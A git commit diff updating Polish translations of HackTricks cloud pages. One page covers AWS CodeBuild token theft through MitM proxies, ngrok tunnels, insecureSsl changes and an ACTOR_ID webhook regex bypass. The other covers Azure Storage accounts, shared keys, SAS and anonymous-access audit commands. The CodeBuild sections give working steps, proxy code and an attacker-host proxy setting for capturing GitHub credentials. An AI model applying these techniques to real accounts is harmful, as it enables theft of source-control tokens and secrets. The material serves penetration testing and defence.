mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-stor
This commit is contained in:
+39
-39
@@ -4,45 +4,45 @@
|
||||
|
||||
## Odzyskiwanie skonfigurowanych tokenów Github/Bitbucket
|
||||
|
||||
Najpierw sprawdź, czy istnieją jakieś skonfigurowane poświadczenia źródła, które możesz leak:
|
||||
Najpierw sprawdź, czy istnieją skonfigurowane poświadczenia źródła, które możesz leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Za pomocą Docker Image
|
||||
|
||||
Jeśli okaże się, że w koncie skonfigurowane jest uwierzytelnienie, np. do Github, możesz **exfiltrate** to **access** (**GH token or OAuth token**) poprzez zmuszenie Codebuild do użycia konkretnego Docker image do uruchomienia buildu projektu.
|
||||
Jeśli stwierdzisz, że uwierzytelnienie, np. do Github, jest ustawione w koncie, możesz **exfiltrate** to **access** (**GH token lub OAuth token**) poprzez spowodowanie, że Codebuild będzie **używać określonej Docker image** do uruchomienia buildu projektu.
|
||||
|
||||
W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **Docker image**.
|
||||
W tym celu możesz **utworzyć nowy Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.
|
||||
|
||||
Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to na przechwycenie większości ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufanie certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
|
||||
Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to na przechwycenie większości ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufanie certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Utwórz i prześlij własny Docker MitM image**
|
||||
- Postępuj zgodnie z instrukcjami z repo, aby ustawić adres IP proxy, ustawić certyfikat SSL i **zbudować docker image**.
|
||||
- **NIE USTAWIAJ `http_proxy`**, aby nie przechwycić żądań do metadata endpoint.
|
||||
- Możesz użyć **`ngrok`** np. `ngrok tcp 4444`, aby ustawić proxy na swój host
|
||||
- Gdy zbudujesz Docker image, **prześlij go do publicznego repo** (Dockerhub, ECR...)
|
||||
2. **Skonfiguruj środowisko**
|
||||
- Utwórz **nowy projekt Codebuild** lub **zmodyfikuj** środowisko istniejącego.
|
||||
- Skonfiguruj projekt tak, aby używał **wcześniej wygenerowanego Docker image**
|
||||
- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy i certyfikat SSL oraz **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** aby nie przechwytywać żądań do metadata endpoint.
|
||||
- Możesz użyć **`ngrok`** jak `ngrok tcp 4444`, aby ustawić proxy na swoim hoście
|
||||
- Gdy obraz Docker będzie zbudowany, **prześlij go do publicznego repo** (Dockerhub, ECR...)
|
||||
2. **Ustaw environment**
|
||||
- Utwórz **nowy Codebuild project** lub **zmodyfikuj** environment istniejącego.
|
||||
- Skonfiguruj projekt, aby używał **wcześniej wygenerowanego Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Skonfiguruj MitM proxy na swoim hoście**
|
||||
3. **Ustaw MitM proxy na swoim hoście**
|
||||
|
||||
- Jak wskazano w **Github repo** możesz użyć czegoś takiego:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Użyto **mitmproxy w wersji 9.0.1**, zgłaszano, że w wersji 10 może to nie działać.
|
||||
> Użyto **mitmproxy version used was 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
|
||||
|
||||
4. **Uruchom build i przechwyć poświadczenia**
|
||||
4. **Uruchom build & przechwyć poświadczenia**
|
||||
|
||||
- W nagłówku **Authorization** widać token:
|
||||
- Możesz zobaczyć token w nagłówku **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Można to też zrobić z poziomu aws cli przy użyciu polecenia podobnego do:
|
||||
To można też zrobić z poziomu aws cli przy użyciu czegoś takiego
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
### Za pomocą insecureSSL
|
||||
|
||||
**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.\
|
||||
Włączenie tego pozwala Codebuild połączyć się z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
|
||||
**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym i można je zmienić tylko przez API.\
|
||||
Włączenie tego pozwala Codebuild połączyć się z repozytorium **bez weryfikacji certyfikatu** dostarczonego przez platformę.
|
||||
|
||||
- Najpierw musisz wylistować obecną konfigurację za pomocą polecenia takiego jak:
|
||||
- Najpierw musisz wyenumerować aktualną konfigurację za pomocą czegoś takiego:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Następnie, korzystając ze zebranych informacji, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić względem zebranej konfiguracji).
|
||||
- Ponadto dodaj zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, np.:
|
||||
- Następnie, korzystając ze zebranych informacji, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić w pobranej konfiguracji).
|
||||
- Dodatkowo dodaj zmienne środowiskowe **http_proxy** oraz **https_proxy** wskazujące na twój tcp ngrok, np.:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Na końcu kliknij na **Build the project**, **dane uwierzytelniające** zostaną **wysłane w postaci czystego tekstu** (base64) na port mitm:
|
||||
- Na końcu kliknij na **Build the project**, **credentials** zostaną **sent in clear text** (base64) na port mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Przez protokół HTTP~~
|
||||
|
||||
> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Zatem atakujący nie może już z niej korzystać :)**
|
||||
> [!TIP] > **Ta podatność została naprawiona przez AWS mniej więcej w tygodniu zaczynającym się 20 lutego 2023 (chyba w piątek). Więc atakujący nie mogą już jej nadużyć :)**
|
||||
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby leakować skonfigurowany token Github/Bitbucket** lub jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy token OAuth używany do dostępu do kodu**.
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógł leak the Github/Bitbucket token** skonfigurowany lub jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy OAuth token używany do dostępu do kodu**.
|
||||
|
||||
- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -144,7 +144,7 @@ Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby leakować skonf
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Następnie zmień URL repo github, aby używać HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
@@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Następnie kliknij **Build the project** lub rozpocznij build z wiersza poleceń:
|
||||
- Następnie kliknij **Build the project** lub uruchom build z wiersza poleceń:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Na koniec **poświadczenia** zostaną **wysłane w postaci jawnego tekstu** (base64) na port mitm:
|
||||
- W końcu **credentials** zostaną **wysłane w jawnej postaci** (base64) na port mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Teraz atakujący będzie mógł użyć tokena ze swojego komputera, wypisać wszystkie jego uprawnienia i (nad)użyć go łatwiej niż używając bezpośrednio usługi CodeBuild.
|
||||
> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie uprawnienia jakie on ma i (nadużyć/wykorzystać) go łatwiej niż poprzez bezpośrednie użycie usługi CodeBuild.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## Omijanie allowlisty regex ACTOR_ID w filtrach webhook (uprzywilejowane buildy wywoływane przez PR)
|
||||
|
||||
Niewłaściwie skonfigurowane webhooki CodeBuild GitHub, które używają niezakotwiczonych `ACTOR_ID` regexów, pozwalają *niezaufanym* PR-om uruchamiać uprzywilejowane buildy. Jeśli allowlist wygląda jak `123456|7890123` bez `^`/`$`, każdy ID zawierający jeden z tych podciągów będzie pasować. Ponieważ identyfikatory użytkowników GitHub są sekwencyjne, atakujący może ścigać się, aby zarejestrować „eclipsing” ID (superstring zaufanego ID) i wywołać build.
|
||||
Nieprawidłowo skonfigurowane webhooki CodeBuild GitHub, które używają niezakotwiczonych `ACTOR_ID` regexów, pozwalają *niezaufanym* PR na uruchamianie uprzywilejowanych buildów. Jeśli allowlist wygląda jak `123456|7890123` bez `^`/`$`, każdy ID zawierający któryś z tych podciągów będzie pasować. Ponieważ GitHub user IDs są sekwencyjne, atakujący może ścigać się, by zarejestrować „eclipsing” ID (superstring zaufanego ID) i wywołać build.
|
||||
|
||||
**Ścieżka ataku**
|
||||
Exploit path
|
||||
|
||||
1. Znajdź publiczne projekty CodeBuild ujawniające filtry webhook i wydobądź niezakotwiczoną `ACTOR_ID` allowlistę.
|
||||
2. Uzyskaj eclipsing GitHub ID:
|
||||
- Próbkuj globalny licznik ID, tworząc/usuwając organizacje GitHub (org IDs dzielą pulę).
|
||||
- Wstępnie przygotuj wiele tworzeń manifestów GitHub App i uruchom adresy potwierdzające, gdy licznik znajdzie się w odległości ~100 ID od celu, aby szybko zarejestrować bot ID zawierający zaufany podciąg.
|
||||
3. Otwórz PR z konta eclipsing; regex dopasuje podciąg i uruchomi się uprzywilejowany build.
|
||||
4. Użyj build RCE (np. hooki instalacji zależności), aby zrzucić pamięć procesu obsługującego poświadczenia GitHub i odzyskać token PAT/OAuth.
|
||||
5. Mając token z zakresem `repo`, zaproś swoje konto jako współpracownika/admina i wypchnij/zaakceptuj złośliwe commity lub wyeksfiltruj sekrety.
|
||||
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
|
||||
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
@@ -4,27 +4,27 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure Storage Accounts są podstawowymi usługami w Microsoft Azure, które zapewniają skalowalne, bezpieczne i wysoko dostępne chmurowe **przechowywanie dla różnych typów danych**, w tym blobs (binary large objects), plików, kolejek i tabel. Służą jako kontenery grupujące te różne usługi przechowywania pod jedną przestrzenią nazw dla łatwego zarządzania.
|
||||
Azure Storage Accounts to podstawowe usługi w Microsoft Azure, które zapewniają skalowalną, bezpieczną i wysoko dostępną chmurową **przestrzeń do przechowywania różnych typów danych**, w tym blobów (binary large objects), plików, kolejek i tabel. Służą jako kontenery grupujące te różne usługi storage pod jedną przestrzenią nazw dla ułatwionego zarządzania.
|
||||
|
||||
**Główne opcje konfiguracji**:
|
||||
|
||||
- Każde storage account musi mieć **unikalną nazwę w całym Azure**.
|
||||
- Każde storage account jest wdrażane w **regionie** lub w Azure extended zone.
|
||||
- Każdy storage account musi mieć **unikalną nazwę w całym Azure**.
|
||||
- Każdy storage account jest wdrażany w określonym **regionie** lub w rozszerzonej strefie Azure.
|
||||
- Można wybrać wersję **premium** storage account dla lepszej wydajności.
|
||||
- Można wybrać spośród **4 typów redundancji**, aby chronić przed awariami szafy (rack), dysku i centrum danych.
|
||||
- Można wybrać spośród **4 typów redundancji**, aby chronić przed awariami rack, dysku i centrum danych.
|
||||
|
||||
**Opcje konfiguracji bezpieczeństwa**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Wymaga TLS w każdej komunikacji ze storage
|
||||
- **Allows enabling anonymous access on individual containers**: Jeśli nie, w przyszłości nie będzie można włączyć dostępu anonimowego
|
||||
- **Enable storage account key access**: Jeśli nie, dostęp przy użyciu Shared Keys będzie zabroniony
|
||||
- **Require secure transfer for REST API operations**: Wymaga TLS w całej komunikacji ze storage.
|
||||
- **Allows enabling anonymous access on individual containers**: Jeśli wyłączone, w przyszłości nie będzie możliwe włączenie anonimowego dostępu.
|
||||
- **Enable storage account key access**: Jeśli wyłączone, dostęp przy użyciu Shared Keys będzie zabroniony.
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
|
||||
- **Permitted scope for copy operations**: Pozwala z dowolnego storage account, z dowolnego storage account z tego samego Entra tenant lub z storage account z private endpoints w tej samej virtual network.
|
||||
|
||||
**Opcje Blob Storage**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (dane często dostępne), Cool i Cold (dane rzadko dostępne)
|
||||
- **Access tier**: Hot (często dostępne dane), Cool i Cold (rzadko dostępne dane)
|
||||
|
||||
**Opcje sieciowe**:
|
||||
|
||||
@@ -32,44 +32,44 @@ Azure Storage Accounts są podstawowymi usługami w Microsoft Azure, które zape
|
||||
- Allow from all networks
|
||||
- Allow from selected virtual networks and IP addresses
|
||||
- Disable public access and use private access
|
||||
- **Private endpoints**: Umożliwia prywatne połączenie do storage account z virtual network
|
||||
- **Private endpoints**: Pozwala na prywatne połączenie ze storage account z virtual network
|
||||
|
||||
**Opcje ochrony danych**:
|
||||
|
||||
- **Point-in-time restore for containers**: Pozwala przywrócić kontenery do wcześniejszego stanu
|
||||
- **Point-in-time restore for containers**: Pozwala przywrócić container do wcześniejszego stanu.
|
||||
- Wymaga włączenia versioning, change feed i blob soft delete.
|
||||
- **Enable soft delete for blobs**: Włącza okres retencji (dni) dla usuniętych blobów (nawet nadpisanych)
|
||||
- **Enable soft delete for containers**: Włącza okres retencji (dni) dla usuniętych kontenerów
|
||||
- **Enable soft delete for file shares**: Włącza okres retencji (dni) dla usuniętych file shares
|
||||
- **Enable versioning for blobs**: Utrzymuje wcześniejsze wersje blobów
|
||||
- **Enable blob change feed**: Przechowuje logi utworzeń, modyfikacji i usunięć blobów
|
||||
- **Enable version-level immutability support**: Pozwala ustawić politykę retencji opartą na czasie na poziomie konta, która będzie miała zastosowanie do wszystkich wersji blobów.
|
||||
- **Enable soft delete for blobs**: Włącza okres retencji w dniach dla usuniętych blobów (nawet nadpisanych).
|
||||
- **Enable soft delete for containers**: Włącza okres retencji w dniach dla usuniętych containers.
|
||||
- **Enable soft delete for file shares**: Włącza okres retencji w dniach dla usuniętych file shares.
|
||||
- **Enable versioning for blobs**: Zachowuje poprzednie wersje blobów.
|
||||
- **Enable blob change feed**: Przechowuje logi tworzenia, modyfikacji i usuwania blobów.
|
||||
- **Enable version-level immutability support**: Pozwala ustawić politykę retencji czasowej na poziomie konta, która będzie miała zastosowanie do wszystkich wersji blobów.
|
||||
- Version-level immutability support i point-in-time restore for containers nie mogą być włączone jednocześnie.
|
||||
|
||||
**Opcje konfiguracji szyfrowania**:
|
||||
**Opcje szyfrowania**:
|
||||
|
||||
- **Encryption type**: Można użyć Microsoft-managed keys (MMK) lub Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Pozwala podwójnie szyfrować dane (dla większego bezpieczeństwa)
|
||||
- **Encryption type**: Można użyć Microsoft-managed keys (MMK) lub Customer-managed keys (CMK).
|
||||
- **Enable infrastructure encryption**: Pozwala podwójnie zaszyfrować dane „dla większego bezpieczeństwa”.
|
||||
|
||||
### Storage endpoints
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">Usługa Storage</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Ekspozycja publiczna
|
||||
### Publiczna ekspozycja
|
||||
|
||||
Jeśli opcja "Allow Blob public access" jest **włączona** (domyślnie wyłączona), podczas tworzenia kontenera można:
|
||||
Jeśli opcja "Allow Blob public access" jest **włączona** (domyślnie wyłączona), podczas tworzenia container można:
|
||||
|
||||
- Udzielić **public access to read blobs** (trzeba znać nazwę).
|
||||
- Wypisać bloby kontenera i odczytać je.
|
||||
- Uczynić go całkowicie prywatnym
|
||||
- Nadać **public access to read blobs** (trzeba znać nazwę).
|
||||
- **List container blobs** i je **czytać**.
|
||||
- Ustawić go jako całkowicie **private**.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Static website (`$web`) exposure & leaked secrets
|
||||
### Statyczna strona (`$web`) — ekspozycja & leaked secrets
|
||||
|
||||
- **Static websites** are served from the special `$web` container over a region-specific endpoint such as `https://<account>.z13.web.core.windows.net/`.
|
||||
- The `$web` container may report `publicAccess: null` via the blob API, but files are still reachable through the static site endpoint, so dropping config/IaC artifacts there can leak secrets.
|
||||
- Quick audit workflow:
|
||||
- **Static websites** są serwowane z specjalnego kontenera `$web` przez endpoint specyficzny dla regionu, taki jak `https://<account>.z13.web.core.windows.net/`.
|
||||
- Kontener `$web` może raportować `publicAccess: null` poprzez blob API, ale pliki nadal są dostępne przez static site endpoint, więc umieszczanie artefaktów konfiguracyjnych/IaC tam może spowodować leak of secrets.
|
||||
- Szybki proces audytu:
|
||||
```bash
|
||||
# Identify storage accounts with static website hosting enabled
|
||||
az storage blob service-properties show --account-name <acc-name> --auth-mode login
|
||||
@@ -82,19 +82,19 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou
|
||||
```
|
||||
### Audyt anonimowego dostępu do blobów
|
||||
|
||||
- **Zlokalizuj storage accounts** które mogą ujawniać dane: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Jeśli `allowBlobPublicAccess` jest `false` nie możesz ustawić kontenerów jako publicznych.
|
||||
- **Zbadaj ryzykowne konta** aby potwierdzić flagę i inne słabe ustawienia: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Wyenumeruj ekspozycję na poziomie kontenerów** tam, gdzie flaga jest włączona:
|
||||
- **Locate storage accounts** które mogą ujawnić dane: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Jeśli `allowBlobPublicAccess` jest `false`, nie możesz ustawić kontenerów jako publiczne.
|
||||
- **Inspect risky accounts** aby potwierdzić flagę i inne słabe ustawienia: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Enumerate container-level exposure** gdzie flaga jest włączona:
|
||||
```bash
|
||||
az storage container list --account-name <acc> \
|
||||
--query '[].{name:name, access:properties.publicAccess}'
|
||||
```
|
||||
- `"Blob"`: anonimowy odczyt dozwolony **tylko gdy nazwa bloba jest znana** (brak listowania).
|
||||
- `"Blob"`: anonimowe odczyty dozwolone **tylko gdy nazwa bloba jest znana** (brak listowania).
|
||||
- `"Container"`: anonimowe **listowanie + odczyt** każdego bloba.
|
||||
- `null`: prywatne; wymagane uwierzytelnienie.
|
||||
- `null`: prywatne; wymagana autoryzacja.
|
||||
- **Udowodnij dostęp** bez poświadczeń:
|
||||
- Jeśli `publicAccess` ma wartość `Container`, anonimowe listowanie działa: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- Dla obu `Blob` i `Container`, anonimowe pobieranie bloba działa, gdy nazwa jest znana:
|
||||
- Jeśli `publicAccess` jest `Container`, anonimowe listowanie działa: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- Zarówno dla `Blob`, jak i `Container`, anonimowe pobieranie bloba działa, gdy nazwa jest znana:
|
||||
```bash
|
||||
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
|
||||
# or via raw HTTP
|
||||
@@ -108,25 +108,25 @@ Jeśli znajdziesz jakiekolwiek **storage**, z którym możesz się połączyć,
|
||||
|
||||
### RBAC
|
||||
|
||||
Można użyć tożsamości Entra ID z rolami **RBAC** do uzyskania dostępu do kont storage — jest to zalecany sposób.
|
||||
Możliwe jest użycie principali Entra ID z rolami **RBAC** do uzyskania dostępu do storage accounts i jest to zalecany sposób.
|
||||
|
||||
### Klucze dostępu
|
||||
### Access Keys
|
||||
|
||||
Konta storage mają klucze dostępu, które można wykorzystać do uzyskania dostępu. Zapewnia to **pełen dostęp do konta storage.**
|
||||
Storage accounts mają access keys, które można użyć do uzyskania dostępu. To zapewnia **pełny dostęp do storage account.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
|
||||
Można [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) podpisane kluczami dostępu, aby autoryzować dostęp do określonych zasobów za pomocą podpisanego URL.
|
||||
Można [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) podpisane access keys, aby autoryzować dostęp do określonych zasobów za pomocą signed URL.
|
||||
|
||||
> [!NOTE]
|
||||
> Należy pamiętać, że część `CanonicalizedResource` reprezentuje zasób usługi storage (URI). Jeśli jakaś część w URL jest zakodowana, powinna być również zakodowana wewnątrz `CanonicalizedResource`.
|
||||
> Należy pamiętać, że część `CanonicalizedResource` reprezentuje zasób usług storage (URI). Jeśli jakaś część w URL jest zakodowana, powinna być również zakodowana wewnątrz `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> To jest **domyślnie używane przez `az` cli** do uwierzytelniania żądań. Aby użyć poświadczeń principala Entra ID, podaj parametr `--auth-mode login`.
|
||||
> To jest **używane domyślnie przez `az` cli** do uwierzytelniania żądań. Aby sprawić, by używał poświadczeń principala Entra ID, podaj parametr `--auth-mode login`.
|
||||
|
||||
- Możliwe jest wygenerowanie **shared key for blob, queue and file services** poprzez podpisanie następujących informacji:
|
||||
- Możliwe jest wygenerowanie **shared key for blob, queue and file services** podpisując następujące informacje:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
@@ -143,7 +143,7 @@ Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Możliwe jest wygenerowanie **wspólnego klucza dla usług tabelowych** poprzez podpisanie następujących informacji:
|
||||
- Możliwe jest wygenerowanie **shared key for table services** podpisując następujące informacje:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -151,7 +151,7 @@ Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Możliwe jest wygenerowanie **lite shared key for blob, queue and file services** podpisując następujące informacje:
|
||||
- Można wygenerować **lite shared key for blob, queue and file services** podpisując następujące informacje:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -165,7 +165,7 @@ CanonicalizedResource;
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
```
|
||||
Następnie, aby użyć klucza, można to zrobić w nagłówku Authorization, stosując składnię:
|
||||
Aby użyć klucza, umieść go w nagłówku Authorization, używając składni:
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
@@ -179,14 +179,14 @@ Content-Length: 0
|
||||
```
|
||||
### **Wspólny podpis dostępu** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS) to bezpieczne, ograniczone czasowo adresy URL, które **przyznają określone uprawnienia dostępu do zasobów** w koncie Azure Storage bez ujawniania kluczy dostępu konta. Podczas gdy access keys zapewniają pełny dostęp administracyjny do wszystkich zasobów, SAS pozwala na precyzyjną kontrolę poprzez określenie uprawnień (np. read lub write) i ustawienie czasu wygaśnięcia.
|
||||
Shared Access Signatures (SAS) to bezpieczne, ograniczone czasowo URL-e, które **przyznają określone uprawnienia do zasobów** w koncie Azure Storage bez ujawniania kluczy dostępowych konta. Podczas gdy access keys dają pełny dostęp administracyjny do wszystkich zasobów, SAS pozwala na precyzyjną kontrolę przez określenie uprawnień (np. read lub write) oraz zdefiniowanie czasu wygaśnięcia.
|
||||
|
||||
#### SAS Types
|
||||
#### Typy SAS
|
||||
|
||||
- **User delegation SAS**: Tworzony jest z użyciem **Entra ID principal**, który podpisze SAS i przekaże uprawnienia z użytkownika do SAS. Może być używany tylko z **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Możliwe jest **odwołanie** wszystkich wygenerowanych user delegated SAS.
|
||||
- Nawet jeśli można wygenerować delegation SAS z "większymi" uprawnieniami niż te, które posiada użytkownik, jeśli principal ich nie ma, to nie zadziała (no privesc).
|
||||
- **Service SAS**: Podpisywany jest przy użyciu jednego z storage account **access keys**. Może być użyty do przyznania dostępu do konkretnych zasobów w pojedynczej usłudze storage. Jeśli klucz zostanie odnowiony, SAS przestanie działać.
|
||||
- **Account SAS**: Również podpisywany jednym z storage account **access keys**. Przyznaje dostęp do zasobów w ramach usług konta storage (Blob, Queue, Table, File) i może obejmować operacje na poziomie usługi.
|
||||
